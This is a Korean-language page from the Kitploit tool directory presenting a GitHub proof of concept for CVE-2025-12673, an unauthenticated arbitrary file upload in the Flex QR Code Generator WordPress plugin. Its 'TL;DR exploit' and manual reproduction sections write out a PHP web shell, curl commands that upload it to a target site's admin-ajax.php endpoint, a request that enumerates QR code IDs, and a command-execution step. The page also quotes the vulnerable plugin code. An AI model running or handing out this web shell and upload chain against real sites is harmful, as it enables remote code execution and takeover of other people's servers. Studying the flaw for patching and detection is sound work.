Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-12673 — Flex QR Code Generator <= 1.2.6 - 인증되지 않은 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-12673
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubd0n601/cve-2025-12673

CVE-2025-12673

Flex QR Code Generator <= 1.2.6 - 인증되지 않은 임의 파일 업로드

저장소 보기
210개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Flex QR Code Generator <= 1.2.6 - 인증되지 않은 임의 파일 업로드

Flex QR Code Generator 플러그인은 update_qr_code AJAX 엔드포인트에서 사용자 권한을 검증하지 않고 파일 업로드를 검사하지 않아, 인증되지 않은 공격자가 실행 가능한 PHP 스크립트를 포함한 임의의 파일을 업로드할 수 있으며, 이를 통해 원격 코드 실행이 가능합니다.

TL;DR 익스플로잇

root@kitploit:~
# Upload PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"

세부 정보

취약점은 FlexQrCodeGenerator 클래스의 update_qr_code 메서드에 존재합니다. 이 플러그인은 인증되지 않은 사용자를 위해 AJAX 엔드포인트를 등록하므로, 모든 방문자가 임의의 파일을 업로드할 수 있으며 업로드된 파일은 WordPress 업로드 디렉터리에 저장됩니다.

취약한 코드 - /qr-code-generator.php:457-589:

root@kitploit:~
public function update_qr_code()
{
  if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
    // ... validation code ...
    
    // Handle the logo (file upload)
    if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
      $logo = $_FILES['logo'];
      $upload_dir = wp_upload_dir();
      
      $file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
      $file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
      $new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
      $file_path = $upload_dir['path'] . '/' . $new_file_name;
      
      if (move_uploaded_file($logo['tmp_name'], $file_path)) {
        // File uploaded successfully
      }
    }
  }
}

파일 실행 - /qr-code-generator.php:504:

root@kitploit:~
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
  $logo_url = $upload_dir['url'] . '/' . $new_file_name;
  $logo_url = str_replace(home_url(), '', $logo_url);
  $update_data['logo_url'] = $logo_url;
}

인증되지 않은 접근 - /qr-code-generator.php:41-42:

root@kitploit:~
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

수동 재현

  1. 대상 식별 - Flex QR Code Generator 플러그인이 설치된 대상
  2. 기존 QR 코드 ID 찾기:
root@kitploit:~
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -d "action=flexqr_fetch_qr_code" \
  -d "per_page=10" \
  -d "page=1"
  1. 악성 PHP 파일 업로드:
root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
  -F "action=flexqr_update_qr" \
  -F "qrId=1" \
  -F "qrData={\"data\":\"https://example.com\"}" \
  -F "[email protected]"
  1. 업로드 확인 - 업로드 디렉터리에서 shell_1.php 확인
  2. 명령 실행 - 업로드된 파일을 ?cmd=whoami와 함께 방문
도구 다운로드